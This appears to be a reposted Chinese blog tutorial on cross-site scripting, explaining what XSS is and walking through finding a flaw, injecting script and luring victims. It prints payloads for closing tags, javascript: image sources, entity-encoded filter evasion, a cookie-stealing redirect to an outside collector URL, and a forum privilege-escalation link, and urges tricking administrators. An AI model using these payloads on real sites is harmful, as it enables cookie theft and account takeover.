03
2024
07
00:38:35

XSS跨站脚本攻击



推荐本站淘宝优惠价购买喜欢的宝贝:

image.png

什么是XSS攻击

  • XSS是跨站脚本攻击(Cross Site Script).它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该网页时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。

  • 本来跨站脚本攻击(Cross Site Scripting)应该缩写为CSS,但这会与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆。因此人们将跨站脚本攻击缩写为XSS.

跨站脚本攻击的危害

  • XSS攻击可以搜集用户信息,攻击者通常会在有漏洞的程序中插入JavaScript、VBScript、Activex或Flash以欺骗用户。

  • 一旦得手,他们可以盗取用户账户,修改用户设置,盗取/污染cookie,做虚假广告,查看主机信息等。

  • 例如,恶意代码将被欺骗用户的cookie收集起来进行cookie欺骗,或者是在访问者的电脑执行程序,比如后门木马或者是在系统上添加管理员账户。

  • 由于xss漏洞很容易在大型网站中发现,在黑客圈内它非常流行。FBI.gov、CNN.com、Time.com、Ebay、Yahoo、Apple、Microsoft,、Kaspersky、Zdnet、Wired、Newsbytes都有这样那样的XSS漏洞。

  • 例如Kaspersky:http://www.kasperskyusa.com/promotions/wp_index.php?threats ><script>alert(55)</script>

跨站脚本攻击发起条件

  • 跨站脚本漏洞主要是由于Web服务器没有对用户的输入进行有效性验证或验证强度不够,而又轻易地将它们返回给客户端造成的

  1. Web服务器允许用户在表格或编辑框中输入不相关的字符

  2. Web服务器存储并允许把用户的输入显示在返回给终端用户的页面上,而这个回显并没有去除非法字符或者重新进行编码

  • 实现跨站脚本的攻击至少需要两个条件

  1. 需要存在跨站脚本漏洞的Web应用程序

  2. 需要用户点击连接或者是访问某一页面。

跨站脚本攻击过程

步骤一:寻找XSS漏洞

  • 我们浏览的网页全部都是基于超文本标记语言(HTML)创建的,如显示一个超链接:<A href"http://www.baidu.com">baidu</A>

  • XSS攻击正是通过向HTML代码中注入恶意的脚本实现的,HTML指定了脚本标记为:<script></script>

  • 在没有过滤字符的情况下,只需要保持完整无错的脚本标记即可触发XSS。假如我们在某个资料表单提交内容,表单提交内容就是某个标记属性所赋的值,我们可以构造如下值来闭合标记来构造完整无错的脚本标记:"><script>alert('XSS');</script><"

  • 把这个内容赋值给前面<A>标记的href属性,则结果形成了"<A href-""><script>alert('XSS');</script><">baidu</A>"

  • 假如要在网页里显示一张图片,那么就要使用<img>标记,示例如下:<img src"http://127.0.0.1/xss.gif">

  • 浏览器的任务就是解释这个img标记,访问SRC属性所赋得值中的URL地址并输出图片

  • 问题来了!浏览器会不会检测src属性所赋的值呢?答案是否!

  • 那么我们就可以在这里大做文章了,接触过javascript的同学应该知道,javascript有一个URL伪协议,可以使用"javascript:"这种协议说明符加上任意的javascript代码,当浏览器装载这样的URL时,便会执行其中的代码。

  • 于是我们就得出了一个经典的XSS示例:<img src "javascript:alert('XSS');">

  • 把这个代码存储为1.htm,用IE浏览,会弹出一个由javascript调用的对话框。

  • 在寻找XSS漏洞时,如果能看到源代码,我们主要看代码里对用户输入的地方和变量有没有做长度限制和对"<">",","和"等字符是否做过滤。

  • 还需要注意的是对于标签的闭合,有的时候,你输入<script>alert(test')</script>,代码是不会被执行的,因为在源代码里,有其它的标签未闭合,例如少了一个《/script>.

  • 这个时候,你只要闭合一个《/script>,代码就会执行,如你输入:</script><script>alert(test')</script>,这样就可以弹出一个test的框。

步骤二:注入恶意代码

  • 注入恶意代码的目的是:当被欺骗者访问了含有这段恶意代码的网页时,能实现你的攻击目的。

  • 例如,通过这些恶意代码,将访问者的Cookie信息发到远端攻击者手中,或者是提升用户的论坛权限,上传任意文件等。

  • 例如,把cookie发到远程的javascript代码可以这样写:

  1. javascript:window.location-'http://www.cgisecurity.com/cgi-bin/cookie.cgi?'+ document.cookie

  2. window.location的作用是使网页自动跳转到另一个页面document.cookie的作用是读取cookie.

  • 当然,接收输入的网页可能会对<,>,',"等字符进行过滤,这时,就需要进行编码了。

  • IE浏览器默认采用的是UNICODE编码,HTML编码可以用&#ASCII方式来写,这种XSS转码支持10进制和16进制,SQL注入转码是将16进制字符串赋给一个变量,而XSS转码则是针对属性所赋的值,下面就拿<img src"javascript:alert('XSS');">示例。

  • <img

    src="&#106&#978#1188#97&#115&#998#114&#105&#112&#116&#58&#97&#108&#101&#1148#116&#40&#39&#88&#838#83&#39&#41&#59">/10进制转码

  • <img

    src="&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3a&#x61&#x6c&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29&#x3b">//16进制转码

  • 通过编码,把cookie发到远程的script可以写成:

  • javascript:window.location&&#x27http://www.cgisecurity.com/cgi-bin/cookie.cgi?&#x27+document.cookie

  • 其中,'的ASCII码是0x27。

  • 当用户访问的网页含有这段脚本时,用户的cookie将被发送到www.cgisecurity.com/cgi-bin/cookie.cgi并被显示。

  • 对于一个论坛程序,还可以根据论坛的特定编程方式来提升权限。

  • 例如,一个论坛的后台通过admin_user.asp来修改用户的权限,用法是:admin user.asp?&username三xxx&membercode三yyy,意思是把xx用户的权限设置为yyy.

  • 那么结合《img>标签,我们可以构造如下面的攻击代码。

  1. <img src"javascript:window.locationhttp://127.0.0.1/admin luser.asp?&usernamexxx&membercode yyyy">

  2. 让用户浏览这张图片时,转去admin. luser.asp页面运行,并尝试把用户xxx的权限修改为yyy.

步骤三:欺骗用户访问

  • 当你把恶意的代码插入到网页中之后,接下来要做的事情就是让目标用户来访问你的网页,"间接"通过这个目标用户来完成你的目的。

  • 并不是所有用户都有足够的权限能帮你完成的恶意目的,例如刚才那个在论坛中提升用户权限的跨站脚本,一般的论坛只能超级管理员才有这个权限。

  • 这时,你就需要诱骗他来访问你的恶意页面。欺骗也是一门艺术,具体怎么利用,大家就发挥自己的想象力吧!


本文链接:https://hqyman.cn/post/6918.html 非本站原创文章欢迎转载,原创文章需保留本站地址!

分享到:
打赏





休息一下~~


« 上一篇 下一篇 »

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

您的IP地址是: